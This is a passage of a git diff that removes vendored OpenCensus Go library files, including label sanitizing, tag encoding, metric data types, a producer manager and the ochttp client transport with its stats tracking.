-func MonotonicEndTime(start time.Time) time.Time { - return start.Add(time.Now().Sub(start)) -} diff --git a/vendor/go.opencensus.io/internal/sanitize.go b/vendor/go.opencensus.io/internal/sanitize.go deleted file mode 100644 index de8ccf236c..0000000000 --- a/vendor/go.opencensus.io/internal/sanitize.go +++ /dev/null @@ -1,50 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package internal - -import ( - "strings" - "unicode" -) - -const labelKeySizeLimit = 100 - -// Sanitize returns a string that is trunacated to 100 characters if it's too -// long, and replaces non-alphanumeric characters to underscores. -func Sanitize(s string) string { - if len(s) == 0 { - return s - } - if len(s) > labelKeySizeLimit { - s = s[:labelKeySizeLimit] - } - s = strings.Map(sanitizeRune, s) - if unicode.IsDigit(rune(s[0])) { - s = "key_" + s - } - if s[0] == '_' { - s = "key" + s - } - return s -} - -// converts anything that is not a letter or digit to an underscore -func sanitizeRune(r rune) rune { - if unicode.IsLetter(r) || unicode.IsDigit(r) { - return r - } - // Everything else turns into an underscore - return '_' -} diff --git a/vendor/go.opencensus.io/internal/tagencoding/tagencoding.go b/vendor/go.opencensus.io/internal/tagencoding/tagencoding.go deleted file mode 100644 index 41b2c3fc03..0000000000 --- a/vendor/go.opencensus.io/internal/tagencoding/tagencoding.go +++ /dev/null @@ -1,75 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -// Package tagencoding contains the tag encoding -// used interally by the stats collector. -package tagencoding // import "go.opencensus.io/internal/tagencoding" - -// Values represent the encoded buffer for the values. -type Values struct { - Buffer []byte - WriteIndex int - ReadIndex int -} - -func (vb *Values) growIfRequired(expected int) { - if len(vb.Buffer)-vb.WriteIndex < expected { - tmp := make([]byte, 2*(len(vb.Buffer)+1)+expected) - copy(tmp, vb.Buffer) - vb.Buffer = tmp - } -} - -// WriteValue is the helper method to encode Values from map[Key][]byte. -func (vb *Values) WriteValue(v []byte) { - length := len(v) & 0xff - vb.growIfRequired(1 + length) - - // writing length of v - vb.Buffer[vb.WriteIndex] = byte(length) - vb.WriteIndex++ - - if length == 0 { - // No value was encoded for this key - return - } - - // writing v - copy(vb.Buffer[vb.WriteIndex:], v[:length]) - vb.WriteIndex += length -} - -// ReadValue is the helper method to decode Values to a map[Key][]byte. -func (vb *Values) ReadValue() []byte { - // read length of v - length := int(vb.Buffer[vb.ReadIndex]) - vb.ReadIndex++ - if length == 0 { - // No value was encoded for this key - return nil - } - - // read value of v - v := make([]byte, length) - endIdx := vb.ReadIndex + length - copy(v, vb.Buffer[vb.ReadIndex:endIdx]) - vb.ReadIndex = endIdx - return v -} - -// Bytes returns a reference to already written bytes in the Buffer. -func (vb *Values) Bytes() []byte { - return vb.Buffer[:vb.WriteIndex] -} diff --git a/vendor/go.opencensus.io/internal/traceinternals.go b/vendor/go.opencensus.io/internal/traceinternals.go deleted file mode 100644 index 073af7b473..0000000000 --- a/vendor/go.opencensus.io/internal/traceinternals.go +++ /dev/null @@ -1,53 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package internal - -import ( - "time" -) - -// Trace allows internal access to some trace functionality. -// TODO(#412): remove this -var Trace interface{} - -// LocalSpanStoreEnabled true if the local span store is enabled. -var LocalSpanStoreEnabled bool - -// BucketConfiguration stores the number of samples to store for span buckets -// for successful and failed spans for a particular span name. -type BucketConfiguration struct { - Name string - MaxRequestsSucceeded int - MaxRequestsErrors int -} - -// PerMethodSummary is a summary of the spans stored for a single span name. -type PerMethodSummary struct { - Active int - LatencyBuckets []LatencyBucketSummary - ErrorBuckets []ErrorBucketSummary -} - -// LatencyBucketSummary is a summary of a latency bucket. -type LatencyBucketSummary struct { - MinLatency, MaxLatency time.Duration - Size int -} - -// ErrorBucketSummary is a summary of an error bucket. -type ErrorBucketSummary struct { - ErrorCode int32 - Size int -} diff --git a/vendor/go.opencensus.io/metric/metricdata/doc.go b/vendor/go.opencensus.io/metric/metricdata/doc.go deleted file mode 100644 index 52a7b3bf85..0000000000 --- a/vendor/go.opencensus.io/metric/metricdata/doc.go +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package metricdata contains the metrics data model. -// -// This is an EXPERIMENTAL package, and may change in arbitrary ways without -// notice. -package metricdata // import "go.opencensus.io/metric/metricdata" diff --git a/vendor/go.opencensus.io/metric/metricdata/exemplar.go b/vendor/go.opencensus.io/metric/metricdata/exemplar.go deleted file mode 100644 index 12695ce2dc..0000000000 --- a/vendor/go.opencensus.io/metric/metricdata/exemplar.go +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package metricdata - -import ( - "time" -) - -// Exemplars keys. -const ( - AttachmentKeySpanContext = "SpanContext" -) - -// Exemplar is an example data point associated with each bucket of a -// distribution type aggregation. -// -// Their purpose is to provide an example of the kind of thing -// (request, RPC, trace span, etc.) that resulted in that measurement. -type Exemplar struct { - Value float64 // the value that was recorded - Timestamp time.Time // the time the value was recorded - Attachments Attachments // attachments (if any) -} - -// Attachments is a map of extra values associated with a recorded data point. -type Attachments map[string]interface{} diff --git a/vendor/go.opencensus.io/metric/metricdata/label.go b/vendor/go.opencensus.io/metric/metricdata/label.go deleted file mode 100644 index aadae41e6a..0000000000 --- a/vendor/go.opencensus.io/metric/metricdata/label.go +++ /dev/null @@ -1,35 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package metricdata - -// LabelKey represents key of a label. It has optional -// description attribute. -type LabelKey struct { - Key string - Description string -} - -// LabelValue represents the value of a label. -// The zero value represents a missing label value, which may be treated -// differently to an empty string value by some back ends. -type LabelValue struct { - Value string // string value of the label - Present bool // flag that indicated whether a value is present or not -} - -// NewLabelValue creates a new non-nil LabelValue that represents the given string. -func NewLabelValue(val string) LabelValue { - return LabelValue{Value: val, Present: true} -} diff --git a/vendor/go.opencensus.io/metric/metricdata/metric.go b/vendor/go.opencensus.io/metric/metricdata/metric.go deleted file mode 100644 index 8293712c77..0000000000 --- a/vendor/go.opencensus.io/metric/metricdata/metric.go +++ /dev/null @@ -1,46 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package metricdata - -import ( - "time" - - "go.opencensus.io/resource" -) - -// Descriptor holds metadata about a metric. -type Descriptor struct { - Name string // full name of the metric - Description string // human-readable description - Unit Unit // units for the measure - Type Type // type of measure - LabelKeys []LabelKey // label keys -} - -// Metric represents a quantity measured against a resource with different -// label value combinations. -type Metric struct { - Descriptor Descriptor // metric descriptor - Resource *resource.Resource // resource against which this was measured - TimeSeries []*TimeSeries // one time series for each combination of label values -} - -// TimeSeries is a sequence of points associated with a combination of label -// values. -type TimeSeries struct { - LabelValues []LabelValue // label values, same order as keys in the metric descriptor - Points []Point // points sequence - StartTime time.Time // time we started recording this time series -} diff --git a/vendor/go.opencensus.io/metric/metricdata/point.go b/vendor/go.opencensus.io/metric/metricdata/point.go deleted file mode 100644 index 7fe057b19c..0000000000 --- a/vendor/go.opencensus.io/metric/metricdata/point.go +++ /dev/null @@ -1,193 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package metricdata - -import ( - "time" -) - -// Point is a single data point of a time series. -type Point struct { - // Time is the point in time that this point represents in a time series. - Time time.Time - // Value is the value of this point. Prefer using ReadValue to switching on - // the value type, since new value types might be added. - Value interface{} -} - -//go:generate stringer -type ValueType - -// NewFloat64Point creates a new Point holding a float64 value. -func NewFloat64Point(t time.Time, val float64) Point { - return Point{ - Value: val, - Time: t, - } -} - -// NewInt64Point creates a new Point holding an int64 value. -func NewInt64Point(t time.Time, val int64) Point { - return Point{ - Value: val, - Time: t, - } -} - -// NewDistributionPoint creates a new Point holding a Distribution value. -func NewDistributionPoint(t time.Time, val *Distribution) Point { - return Point{ - Value: val, - Time: t, - } -} - -// NewSummaryPoint creates a new Point holding a Summary value. -func NewSummaryPoint(t time.Time, val *Summary) Point { - return Point{ - Value: val, - Time: t, - } -} - -// ValueVisitor allows reading the value of a point. -type ValueVisitor interface { - VisitFloat64Value(float64) - VisitInt64Value(int64) - VisitDistributionValue(*Distribution) - VisitSummaryValue(*Summary) -} - -// ReadValue accepts a ValueVisitor and calls the appropriate method with the -// value of this point. -// Consumers of Point should use this in preference to switching on the type -// of the value directly, since new value types may be added. -func (p Point) ReadValue(vv ValueVisitor) { - switch v := p.Value.(type) { - case int64: - vv.VisitInt64Value(v) - case float64: - vv.VisitFloat64Value(v) - case *Distribution: - vv.VisitDistributionValue(v) - case *Summary: - vv.VisitSummaryValue(v) - default: - panic("unexpected value type") - } -} - -// Distribution contains summary statistics for a population of values. It -// optionally contains a histogram representing the distribution of those -// values across a set of buckets. -type Distribution struct { - // Count is the number of values in the population. Must be non-negative. This value - // must equal the sum of the values in bucket_counts if a histogram is - // provided. - Count int64 - // Sum is the sum of the values in the population. If count is zero then this field - // must be zero. - Sum float64 - // SumOfSquaredDeviation is the sum of squared deviations from the mean of the values in the - // population. For values x_i this is: - // - // Sum[i=1..n]((x_i - mean)^2) - // - // Knuth, "The Art of Computer Programming", Vol. 2, page 323, 3rd edition - // describes Welford's method for accumulating this sum in one pass. - // - // If count is zero then this field must be zero. - SumOfSquaredDeviation float64 - // BucketOptions describes the bounds of the histogram buckets in this - // distribution. - // - // A Distribution may optionally contain a histogram of the values in the - // population. - // - // If nil, there is no associated histogram. - BucketOptions *BucketOptions - // Bucket If the distribution does not have a histogram, then omit this field. - // If there is a histogram, then the sum of the values in the Bucket counts - // must equal the value in the count field of the distribution. - Buckets []Bucket -} - -// BucketOptions describes the bounds of the histogram buckets in this -// distribution. -type BucketOptions struct { - // Bounds specifies a set of bucket upper bounds. - // This defines len(bounds) + 1 (= N) buckets. The boundaries for bucket - // index i are: - // - // [0, Bounds[i]) for i == 0 - // [Bounds[i-1], Bounds[i]) for 0 < i < N-1 - // [Bounds[i-1], +infinity) for i == N-1 - Bounds []float64 -} - -// Bucket represents a single bucket (value range) in a distribution. -type Bucket struct { - // Count is the number of values in each bucket of the histogram, as described in - // bucket_bounds. - Count int64 - // Exemplar associated with this bucket (if any). - Exemplar *Exemplar -} - -// Summary is a representation of percentiles. -type Summary struct { - // Count is the cumulative count (if available). - Count int64 - // Sum is the cumulative sum of values (if available). - Sum float64 - // HasCountAndSum is true if Count and Sum are available. - HasCountAndSum bool - // Snapshot represents percentiles calculated over an arbitrary time window. - // The values in this struct can be reset at arbitrary unknown times, with - // the requirement that all of them are reset at the same time. - Snapshot Snapshot -} - -// Snapshot represents percentiles over an arbitrary time. -// The values in this struct can be reset at arbitrary unknown times, with -// the requirement that all of them are reset at the same time. -type Snapshot struct { - // Count is the number of values in the snapshot. Optional since some systems don't - // expose this. Set to 0 if not available. - Count int64 - // Sum is the sum of values in the snapshot. Optional since some systems don't - // expose this. If count is 0 then this field must be zero. - Sum float64 - // Percentiles is a map from percentile (range (0-100.0]) to the value of - // the percentile. - Percentiles map[float64]float64 -} - -//go:generate stringer -type Type - -// Type is the overall type of metric, including its value type and whether it -// represents a cumulative total (since the start time) or if it represents a -// gauge value. -type Type int - -// Metric types. -const ( - TypeGaugeInt64 Type = iota - TypeGaugeFloat64 - TypeGaugeDistribution - TypeCumulativeInt64 - TypeCumulativeFloat64 - TypeCumulativeDistribution - TypeSummary -) diff --git a/vendor/go.opencensus.io/metric/metricdata/type_string.go b/vendor/go.opencensus.io/metric/metricdata/type_string.go deleted file mode 100644 index c3f8ec27b5..0000000000 --- a/vendor/go.opencensus.io/metric/metricdata/type_string.go +++ /dev/null @@ -1,16 +0,0 @@ -// Code generated by "stringer -type Type"; DO NOT EDIT. - -package metricdata - -import "strconv" - -const _Type_name = "TypeGaugeInt64TypeGaugeFloat64TypeGaugeDistributionTypeCumulativeInt64TypeCumulativeFloat64TypeCumulativeDistributionTypeSummary" - -var _Type_index = [...]uint8{0, 14, 30, 51, 70, 91, 117, 128} - -func (i Type) String() string { - if i < 0 || i >= Type(len(_Type_index)-1) { - return "Type(" + strconv.FormatInt(int64(i), 10) + ")" - } - return _Type_name[_Type_index[i]:_Type_index[i+1]] -} diff --git a/vendor/go.opencensus.io/metric/metricdata/unit.go b/vendor/go.opencensus.io/metric/metricdata/unit.go deleted file mode 100644 index b483a1371b..0000000000 --- a/vendor/go.opencensus.io/metric/metricdata/unit.go +++ /dev/null @@ -1,27 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package metricdata - -// Unit is a string encoded according to the case-sensitive abbreviations from the -// Unified Code for Units of Measure: http://unitsofmeasure.org/ucum.html -type Unit string - -// Predefined units. To record against a unit not represented here, create your -// own Unit type constant from a string. -const ( - UnitDimensionless Unit = "1" - UnitBytes Unit = "By" - UnitMilliseconds Unit = "ms" -) diff --git a/vendor/go.opencensus.io/metric/metricproducer/manager.go b/vendor/go.opencensus.io/metric/metricproducer/manager.go deleted file mode 100644 index ca1f390493..0000000000 --- a/vendor/go.opencensus.io/metric/metricproducer/manager.go +++ /dev/null @@ -1,78 +0,0 @@ -// Copyright 2019, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package metricproducer - -import ( - "sync" -) - -// Manager maintains a list of active producers. Producers can register -// with the manager to allow readers to read all metrics provided by them. -// Readers can retrieve all producers registered with the manager, -// read metrics from the producers and export them. -type Manager struct { - mu sync.RWMutex - producers map[Producer]struct{} -} - -var prodMgr *Manager -var once sync.Once - -// GlobalManager is a single instance of producer manager -// that is used by all producers and all readers. -func GlobalManager() *Manager { - once.Do(func() { - prodMgr = &Manager{} - prodMgr.producers = make(map[Producer]struct{}) - }) - return prodMgr -} - -// AddProducer adds the producer to the Manager if it is not already present. -func (pm *Manager) AddProducer(producer Producer) { - if producer == nil { - return - } - pm.mu.Lock() - defer pm.mu.Unlock() - pm.producers[producer] = struct{}{} -} - -// DeleteProducer deletes the producer from the Manager if it is present. -func (pm *Manager) DeleteProducer(producer Producer) { - if producer == nil { - return - } - pm.mu.Lock() - defer pm.mu.Unlock() - delete(pm.producers, producer) -} - -// GetAll returns a slice of all producer currently registered with -// the Manager. For each call it generates a new slice. The slice -// should not be cached as registration may change at any time. It is -// typically called periodically by exporter to read metrics from -// the producers. -func (pm *Manager) GetAll() []Producer { - pm.mu.Lock() - defer pm.mu.Unlock() - producers := make([]Producer, len(pm.producers)) - i := 0 - for producer := range pm.producers { - producers[i] = producer - i++ - } - return producers -} diff --git a/vendor/go.opencensus.io/metric/metricproducer/producer.go b/vendor/go.opencensus.io/metric/metricproducer/producer.go deleted file mode 100644 index 6cee9ed178..0000000000 --- a/vendor/go.opencensus.io/metric/metricproducer/producer.go +++ /dev/null @@ -1,28 +0,0 @@ -// Copyright 2019, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package metricproducer - -import ( - "go.opencensus.io/metric/metricdata" -) - -// Producer is a source of metrics. -type Producer interface { - // Read should return the current values of all metrics supported by this - // metric provider. - // The returned metrics should be unique for each combination of name and - // resource. - Read() []*metricdata.Metric -} diff --git a/vendor/go.opencensus.io/opencensus.go b/vendor/go.opencensus.io/opencensus.go deleted file mode 100644 index 626d73645d..0000000000 --- a/vendor/go.opencensus.io/opencensus.go +++ /dev/null @@ -1,21 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package opencensus contains Go support for OpenCensus. -package opencensus // import "go.opencensus.io" - -// Version is the current release version of OpenCensus in use. -func Version() string { - return "0.22.0" -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/client.go b/vendor/go.opencensus.io/plugin/ochttp/client.go deleted file mode 100644 index da815b2a73..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/client.go +++ /dev/null @@ -1,117 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "net/http" - "net/http/httptrace" - - "go.opencensus.io/trace" - "go.opencensus.io/trace/propagation" -) - -// Transport is an http.RoundTripper that instruments all outgoing requests with -// OpenCensus stats and tracing. -// -// The zero value is intended to be a useful default, but for -// now it's recommended that you explicitly set Propagation, since the default -// for this may change. -type Transport struct { - // Base may be set to wrap another http.RoundTripper that does the actual - // requests. By default http.DefaultTransport is used. - // - // If base HTTP roundtripper implements CancelRequest, - // the returned round tripper will be cancelable. - Base http.RoundTripper - - // Propagation defines how traces are propagated. If unspecified, a default - // (currently B3 format) will be used. - Propagation propagation.HTTPFormat - - // StartOptions are applied to the span started by this Transport around each - // request. - // - // StartOptions.SpanKind will always be set to trace.SpanKindClient - // for spans started by this transport. - StartOptions trace.StartOptions - - // GetStartOptions allows to set start options per request. If set, - // StartOptions is going to be ignored. - GetStartOptions func(*http.Request) trace.StartOptions - - // NameFromRequest holds the function to use for generating the span name - // from the information found in the outgoing HTTP Request. By default the - // name equals the URL Path. - FormatSpanName func(*http.Request) string - - // NewClientTrace may be set to a function allowing the current *trace.Span - // to be annotated with HTTP request event information emitted by the - // httptrace package. - NewClientTrace func(*http.Request, *trace.Span) *httptrace.ClientTrace - - // TODO: Implement tag propagation for HTTP. -} - -// RoundTrip implements http.RoundTripper, delegating to Base and recording stats and traces for the request. -func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) { - rt := t.base() - if isHealthEndpoint(req.URL.Path) { - return rt.RoundTrip(req) - } - // TODO: remove excessive nesting of http.RoundTrippers here. - format := t.Propagation - if format == nil { - format = defaultFormat - } - spanNameFormatter := t.FormatSpanName - if spanNameFormatter == nil { - spanNameFormatter = spanNameFromURL - } - - startOpts := t.StartOptions - if t.GetStartOptions != nil { - startOpts = t.GetStartOptions(req) - } - - rt = &traceTransport{ - base: rt, - format: format, - startOptions: trace.StartOptions{ - Sampler: startOpts.Sampler, - SpanKind: trace.SpanKindClient, - }, - formatSpanName: spanNameFormatter, - newClientTrace: t.NewClientTrace, - } - rt = statsTransport{base: rt} - return rt.RoundTrip(req) -} - -func (t *Transport) base() http.RoundTripper { - if t.Base != nil { - return t.Base - } - return http.DefaultTransport -} - -// CancelRequest cancels an in-flight request by closing its connection. -func (t *Transport) CancelRequest(req *http.Request) { - type canceler interface { - CancelRequest(*http.Request) - } - if cr, ok := t.base().(canceler); ok { - cr.CancelRequest(req) - } -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/client_stats.go b/vendor/go.opencensus.io/plugin/ochttp/client_stats.go deleted file mode 100644 index 17142aabe0..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/client_stats.go +++ /dev/null @@ -1,143 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "context" - "io" - "net/http" - "strconv" - "sync" - "time" - - "go.opencensus.io/stats" - "go.opencensus.io/tag" -) - -// statsTransport is an http.RoundTripper that collects stats for the outgoing requests. -type statsTransport struct { - base http.RoundTripper -} - -// RoundTrip implements http.RoundTripper, delegating to Base and recording stats for the request. -func (t statsTransport) RoundTrip(req *http.Request) (*http.Response, error) { - ctx, _ := tag.New(req.Context(), - tag.Upsert(KeyClientHost, req.Host), - tag.Upsert(Host, req.Host), - tag.Upsert(KeyClientPath, req.URL.Path), - tag.Upsert(Path, req.URL.Path), - tag.Upsert(KeyClientMethod, req.Method), - tag.Upsert(Method, req.Method)) - req = req.WithContext(ctx) - track := &tracker{ - start: time.Now(), - ctx: ctx, - } - if req.Body == nil { - // TODO: Handle cases where ContentLength is not set. - track.reqSize = -1 - } else if req.ContentLength > 0 { - track.reqSize = req.ContentLength - } - stats.Record(ctx, ClientRequestCount.M(1)) - - // Perform request. - resp, err := t.base.RoundTrip(req) - - if err != nil { - track.statusCode = http.StatusInternalServerError - track.end() - } else { - track.statusCode = resp.StatusCode - if req.Method != "HEAD" { - track.respContentLength = resp.ContentLength - } - if resp.Body == nil { - track.end() - } else { - track.body = resp.Body - resp.Body = wrappedBody(track, resp.Body) - } - } - return resp, err -} - -// CancelRequest cancels an in-flight request by closing its connection. -func (t statsTransport) CancelRequest(req *http.Request) { - type canceler interface { - CancelRequest(*http.Request) - } - if cr, ok := t.base.(canceler); ok { - cr.CancelRequest(req) - } -} - -type tracker struct { - ctx context.Context - respSize int64 - respContentLength int64 - reqSize int64 - start time.Time - body io.ReadCloser - statusCode int - endOnce sync.Once -} - -var _ io.ReadCloser = (*tracker)(nil) - -func (t *tracker) end() { - t.endOnce.Do(func() { - latencyMs := float64(time.Since(t.start)) / float64(time.Millisecond) - respSize := t.respSize - if t.respSize == 0 && t.respContentLength > 0 { - respSize = t.respContentLength - } - m := []stats.Measurement{ - ClientSentBytes.M(t.reqSize), - ClientReceivedBytes.M(respSize), - ClientRoundtripLatency.M(latencyMs), - ClientLatency.M(latencyMs), - ClientResponseBytes.M(t.respSize), - } - if t.reqSize >= 0 { - m = append(m, ClientRequestBytes.M(t.reqSize)) - } - - stats.RecordWithTags(t.ctx, []tag.Mutator{ - tag.Upsert(StatusCode, strconv.Itoa(t.statusCode)), - tag.Upsert(KeyClientStatus, strconv.Itoa(t.statusCode)), - }, m...) - }) -} - -func (t *tracker) Read(b []byte) (int, error) { - n, err := t.body.Read(b) - t.respSize += int64(n) - switch err { - case nil: - return n, nil - case io.EOF: - t.end() - } - return n, err -} - -func (t *tracker) Close() error { - // Invoking endSpan on Close will help catch the cases - // in which a read returned a non-nil error, we set the - // span status but didn't end the span. - t.end() - return t.body.Close() -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/doc.go b/vendor/go.opencensus.io/plugin/ochttp/doc.go deleted file mode 100644 index 10e626b16e..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/doc.go +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package ochttp provides OpenCensus instrumentation for net/http package. -// -// For server instrumentation, see Handler. For client-side instrumentation, -// see Transport. -package ochttp // import "go.opencensus.io/plugin/ochttp" diff --git a/vendor/go.opencensus.io/plugin/ochttp/propagation/b3/b3.go b/vendor/go.opencensus.io/plugin/ochttp/propagation/b3/b3.go deleted file mode 100644 index 2f1c7f0063..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/propagation/b3/b3.go +++ /dev/null @@ -1,123 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package b3 contains a propagation.HTTPFormat implementation -// for B3 propagation. See https://github.com/openzipkin/b3-propagation -// for more details. -package b3 // import "go.opencensus.io/plugin/ochttp/propagation/b3" - -import ( - "encoding/hex" - "net/http" - - "go.opencensus.io/trace" - "go.opencensus.io/trace/propagation" -) - -// B3 headers that OpenCensus understands. -const ( - TraceIDHeader = "X-B3-TraceId" - SpanIDHeader = "X-B3-SpanId" - SampledHeader = "X-B3-Sampled" -) - -// HTTPFormat implements propagation.HTTPFormat to propagate -// traces in HTTP headers in B3 propagation format. -// HTTPFormat skips the X-B3-ParentId and X-B3-Flags headers -// because there are additional fields not represented in the -// OpenCensus span context. Spans created from the incoming -// header will be the direct children of the client-side span. -// Similarly, receiver of the outgoing spans should use client-side -// span created by OpenCensus as the parent. -type HTTPFormat struct{} - -var _ propagation.HTTPFormat = (*HTTPFormat)(nil) - -// SpanContextFromRequest extracts a B3 span context from incoming requests. -func (f *HTTPFormat) SpanContextFromRequest(req *http.Request) (sc trace.SpanContext, ok bool) { - tid, ok := ParseTraceID(req.Header.Get(TraceIDHeader)) - if !ok { - return trace.SpanContext{}, false - } - sid, ok := ParseSpanID(req.Header.Get(SpanIDHeader)) - if !ok { - return trace.SpanContext{}, false - } - sampled, _ := ParseSampled(req.Header.Get(SampledHeader)) - return trace.SpanContext{ - TraceID: tid, - SpanID: sid, - TraceOptions: sampled, - }, true -} - -// ParseTraceID parses the value of the X-B3-TraceId header. -func ParseTraceID(tid string) (trace.TraceID, bool) { - if tid == "" { - return trace.TraceID{}, false - } - b, err := hex.DecodeString(tid) - if err != nil { - 